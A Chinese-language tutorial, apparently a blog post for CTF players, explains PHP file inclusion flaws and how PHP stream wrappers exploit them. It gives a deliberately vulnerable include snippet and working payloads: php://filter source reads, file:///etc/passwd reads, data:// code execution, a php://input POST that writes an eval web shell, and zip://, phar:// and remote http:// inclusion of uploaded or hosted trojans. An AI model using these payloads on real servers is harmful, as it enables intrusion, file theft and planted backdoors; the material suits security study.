文件包含系列

什么是文件包含

  1. 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件

  2. PHP中常用的文件包含实现函数

    require()
    require_once()
    include()
    include_once()
    //预期方法
    <?php
    $filename  = $_GET['filename'];
    include($filename);
    ?>
  3. 文件包含是现实中常见的一类方法,并非是所有的文件包含都有漏洞,当开发者对用户的输入信息审核不严格,或未关闭危险函数,这时就会产生漏洞。

  4. 常见形式为:htpps://192.168.1.1/index.php?file=xxx

php伪协议

协议就是行业通用的规定,像http这样的就叫做协议,而php伪协议也是一种协议,但它是自定义的,所以被称为伪协议。
PHP伪协议事实上就是php所支持的协议与封装协议,共有12种。

  1. file:// — 访问本地文件系统

  2. http:// — 访问 HTTP(s) 网址

  3. ftp:// — 访问 FTP(s) URLs

  4. php:// — 访问各个输入/输出流(I/O streams)

  5. zlib:// — 压缩流

  6. data:// — 数据(RFC 2397)

  7. glob:// — 查找匹配的文件路径模式

  8. phar:// — PHP 归档

  9. ssh2:// — Secure Shell 2

  10. rar:// — RAR

  11. ogg:// — 音频流

  12. expect:// — 处理交互式的流

php伪协议是文件包含漏洞的常见利用方法,下面会着重说明几个常用的伪协议。

利用

一、php://

php://协议的使用条件:

  1. 不需要开启allow_url_fopen,仅php://input、 php://stdin、php://memory 和 php://temp 需要开启allow_url_include。
  2. php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php://filter

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

名称 描述
resource = <要过滤的参数> 这个参数是必须的,它指定了你要过滤的数据流
read = <读链的筛选列表> 该参数可选,可以设定一个或多个过滤器名称,以管道符分隔
write = <写链的筛选列表> 该参数可选,可以设定一个或多个过滤器名称,以管道符分隔
; 两个链的筛选列表 当没有read或write作筛选器列表会视情况应用于读或写链

常用范例file=php://filter/read=convert.base64-encode/resource=index.php
也可以去掉read file=php://filter/convert.base64-encode/resource=index.php

php://input

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on

//http://192.168.1.1/?file=php://input
POST : <?php phpinfo()?>

也可以POST如下内容生成一句话:

<?php
fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');
?>

二、file://

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

使用方法:
file:// [文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file:///etc/passwd

三、zip://

zip://属于压缩流,可以访问压缩文件中的子文件
PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

使用方法:
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://127.0.0.1/cmd.php?file=zip:///var/www/html/shell.zip#shell.php
将写好的木马压缩为zip上传,或改后缀为jpg等其它格式。然后通过zip伪协议进行访问。该协议忽略后缀强制作为zip文件打开,这样我们就能绕过waf访问一句话木马。
但要注意的是,zip伪协议只支持绝对路径,不支持相对路径

四、phar://

phar://也是流包装,可以访问phar文件,而phar的本质是一种压缩文件,所以我们也可以用它来访问压缩文件
PHP.ini:
allow_url_fopen :off/on
allow_url_include:off/on

使用方法:
phar://[压缩文件相对路径/绝对路径]/[压缩文件内子文件名]
phar协议的基本利用方式和zip协议相同,惟一的区别是phar协议可以使用压缩文件的相对路径,比起zip协议更加便利

phar是php特有的打包文件,类似于Java的Jar。phar协议可以作为一个升级版zip协议来使用,但它本身的用途可以引发其他漏洞,如反序列化漏洞。

五、data://

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
PHP.ini:
allow_url_fopen :on
allow_url_include:on

使用方法:
data伪协议将读入的php代码执行

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

六、http://

http协议读入远程文件
PHP.ini:
allow_url_fopen :on
allow_url_include:on

使用方法:
http://192.168.1.1/cmd.php?file=https://www.baidu.com
这样就会把百度网页包含进去,显示百度主页

http涉及远程文件包含,访问远程php时,如果该php已经被网页解析,正常访问,则包含前端内容;如果我们在服务器上开放一个静态网页,则php文件不会被解析为网页也是作为文件下载,此时使用http协议包含远程php文件,会执行其中的代码并作为php文件解析,这样就可以远程包含一个木马

或者将php代码放入txt文件中包含,此时txt内的代码会被执行。

后记

php伪协议是ctf中经常考察的内容,也是文件包含的基本利用方式,详细的利用过程我会在下篇文章中讲解。


"孓然一身 , 了无牵挂"